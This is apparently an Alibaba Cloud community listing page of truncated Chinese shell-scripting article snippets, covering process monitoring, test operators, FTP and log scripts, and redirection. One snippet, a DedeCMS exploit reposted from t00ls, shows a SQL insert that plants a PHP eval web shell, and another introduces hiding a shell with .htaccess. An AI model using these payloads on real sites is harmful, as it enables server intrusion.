給力的營運shell命令

1.顯示消耗記憶體/CPU最多的10個進程ps aux | sort -nk +4 | tailps aux | sort -nk +3 | tail2.查看Apache的並發請求數及其TCP串連狀態netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'3.找出自己最常用的10條命令及使用次數(或求訪問最多的ip數)sed -e 's/| //n/g' ~/.bash_history |cut -d '' -f

linux shell 指令 諸如-d, -f, -e之類的判斷運算式

來源:http://zhidao.baidu.com/question/322131711.html 檔案比較子-e filename  如果 filename存在,則為真  [ -e /var/log/syslog ]-d filename  如果 filename為目錄,則為真  [ -d /tmp/mydir ]-f filename  如果 filename為常規檔案,則為真  [ -f /usr/bin/grep ]-L filename  如果 filename為符號連結,則為真  

Shell 指令碼自動Telnet 並執行遠端機器的指令碼

簡單使用狀況#!/bin/sh(sleep 10; echo "username"; sleep 10; echo "password"; sleep 10; echo "pwd"; sleep 50; #echo exit)|telnet $ip這裡只是串連到遠端機器,查看一下當前所在的目錄。username/password 是telnet 到遠端機器的使用者名稱,密碼sleep 是一個等待時間,根據具體的機器狀況或是執行命令的需要的時間來設定。

如何用Shell逐行讀取檔案

在學習Linux shell scripts時,一個最常見的錯誤就是用for(for line in $(cat file.txt) do …)迴圈逐行讀取檔案。下面的例子可以看出這樣做的結果。檔案file.txt內容:cat file.txtThis is the row No 1;This is the row No 2;This is the row No 3. 用for迴圈的例子:for line in $(cat file.txt); do echo $line;

shell中$@和$*區別

$@指所有命令列參數,每個參數以""包圍$*指所有命令列參數 以下程式:test1.sh-------------------sum=0for varin "$@"dolet sum=sum+$vardoneecho "sum=$sum" ./test1.sh 1 2 3結果為sum=6 test2.sh--------------------sum=0for varin "$*"dolet sum=sum+$vardoneecho "sum=$sum"./test2.sh 1 2

DEDECMS拿SHELL EXP

轉自:t00ls網上流傳的漏洞exp都是說要知道後台才能利用,但不用,只要 plus 目錄存在,伺服器能外連,就能拿shell  _1 U- t( B- F8 c前題條件,必須準備好自己的dede資料庫,然後插入資料:insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "

Linux/Unix shell sql 之間傳遞變數

       靈活結合Linux/Unix Shell 與SQL 之間的變數傳輸,極大程度的提高了DBA的工作效率,本文針對Linux/Unix shell sql 之間傳遞變數給出幾個簡單的樣本以供參考。       Linux/Unix 下調用SQL,RAMN 請參考:Linux/Unix shell 指令碼中調用SQL,RMAN指令碼 一、樣本1、shell變數接受sql傳回值之方式一oracle@SZDB:~> more ./retval.sh#!/bin/bashRETVAL=`

Linux/Unix shell 指令碼清除歸檔記錄檔

      對於DEV以及UAT環境,有些時候,資料庫需要處于歸檔模式,但並不需要備份資料庫。因此,archive歸檔日誌不停的增長導致磁碟空間被大量耗用。對於這種情形,可以使用一個shell指令碼來定時自動清除這些歸檔日誌。本文給出了清除歸檔日誌的指令碼。 1、清除歸檔日誌shell指令碼  robin@SZDB:~/dba_scripts/custom/bin> more remove_arch_dump.sh#!/bin/bash# -------------------------

how to use the .htaccess shell attack

 http://itsecuritylab.eu/index.php/2010/07/05/hide-shell-in-a-target-system/ 貌似關於SHELL的東西大家表示很喜歡,很可愛,很快樂,下面小菜再介紹一種隱藏SHELL的方法,.htaccess攻擊這個必須是APACHE的伺服器哦親們,現在來編輯APACHE設定檔,目標系統:centos5.6 apache2[root@localhost ~]# vi

SHELL命令之chgrp

root@bt:~/test# chgrp --helpUsage: chgrp [OPTION]... GROUP FILE... or: chgrp [OPTION]... --reference=RFILE FILE...Change the group of each FILE to GROUP.With --reference, change the group of each FILE to that of RFILE. -c, --changes like

shell指令碼,自動登陸ftp,下載檔案

(1)自動登陸ftp(2)將下載的檔案放到本地指定目錄(3)判斷ftp伺服器中是否有要下載的檔案#!/bin/bash#建立存在下載檔案的目錄,格式:2013-06-17datestr=$(date +%Y-%m-%d)mkdir /home/$datestr#首先串連一次ftp擷取裡面資訊,存放在ftp.log裡ftp -i -n 192.168.XXX.XXX <<!>ftp.loguser name

Linux Shell 下的輸出重新導向

 Linux Shell 環境中支援輸入輸出重新導向,用符號<和>來表示。0、1和2分別表示標準輸入、標準輸出和標準錯誤資訊輸出。可以用來指定需要重新導向的標準輸入或輸出,比如 2>a.txt 表示將錯誤資訊輸出到檔案a.txt中。 同時,還可以在這三個標準輸入輸出之間實現重新導向,比如將錯誤資訊重新導向到標準輸出,可以用

shell程式設計(一)

2.4 管道和重新導向2.4.1 重新導向檔案描述符    重新導向       描述     0           <         標準輸入     1           >         標準輸入     2           >         標準錯誤輸出                 >>        追加                2>&1      

Shell 指令碼條件判斷的三中類型(備忘)

字串比較:                                    結果string1 = string2                             string1等於string2:True, 否則Falsestring1 != string2                            string1等於string2:False, 否則True-n

shell指令碼筆記

#!/bin/sh  #第一行告訴系統誰來執行這傻逼玩意兒$#   #傳送到指令碼的參數個數$$   #指令碼運行時當前進程的ID號,常用作臨時變數的尾碼,如haison.$$$!    #後台啟動並執行最後一個進程的ID號chmod u+x abc.sh #賦予user執行許可權chmod a+rwx abc.sh #賦予所有人所有許可權./abc.shwho -a #顯示使用者的所有資訊echo -e "\033[31m \033[05m error: no log type $1. \03

leeboy的linux學習十五 shell中條件測試和簡單的條件陳述式執行個體

1、echo $?:任何命令進行時都將返回一個退出狀態,輸出上一個命令的退出狀態,0表示退出成功。2、測試檔案狀態:[ -w text ]測試檔案是否可寫,echo $?輸出為0表示可寫,否則不可寫         [ -d text ]檔案是不是目錄,echo $?輸出為1表示不是目錄。0表示符合,1表示不符合。         [ -w text -a -d text ]檔案是不是可寫並且是不是路徑,-a表示同and,-o表示or- d 目錄                         

一個自動升級的shell

echo "*****************Ess開始升級****************************"curDate=`date '+%Y%m%d'`cp ./applications/xxxx.ear  ./applications/xxxx.ear.back${curDate}#檢查升級程式包是否已上傳if [[ -f ./upload/xxxx.ear ]];then  echo "*****************要升級的xxxx.ear已上傳**************

aix shell 日誌壓宿及刪除

#/bin/sh #add by zhoujf.free log file;DIR_LIST="/product1/port/bin/ocs_subscriber_import/back"LOG_LIST="*201*.unl"GZ_DAY=3DEL_DAY=30CORE_DAY=7CUR_TIME=`date +"%Y%m%d %T"`echo "START AT [$CUR_TIME]"for dir in $DIR_LISTdo  if [ ! -d $dir ];then   

shell讀取檔案的行與列

我想對一個檔案進行頻繁的操作,要取每行中不同列的值,我知道的方法是while read linedoecho $line | awk '{print $1 }'   #取每行的第一列值echo $line | awk '{print $2 }' #取每行的第二列值done <$file感覺這樣很麻煩,不知道有什麼更好一點的方法沒有而且我修改是用sed -i來做 感覺效率也不高,有什麼更好的方法嗎??? if [ -s  $filename  ]; then  

Windows下 shell for迴圈指令使用

對於長期在linux 下用bash的人來說,這篇文章很棒。for指令功能好強大!轉自,http://hi.bccn.net/space-21499-do-blog-id-13524.htmlfor可以使一些不支援萬用字元的命令對一系列檔案進行操作。在WIN9X中,TYPE命令(顯示檔案內容)是不支援*.txt這種格式的(WIN2K開始TYPE已支援通配)。遇到類似情況就可以用FOR:    for %a in (*.txt) do type %a    

總頁數: 301 1 .... 173 174 175 176 177 .... 301 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.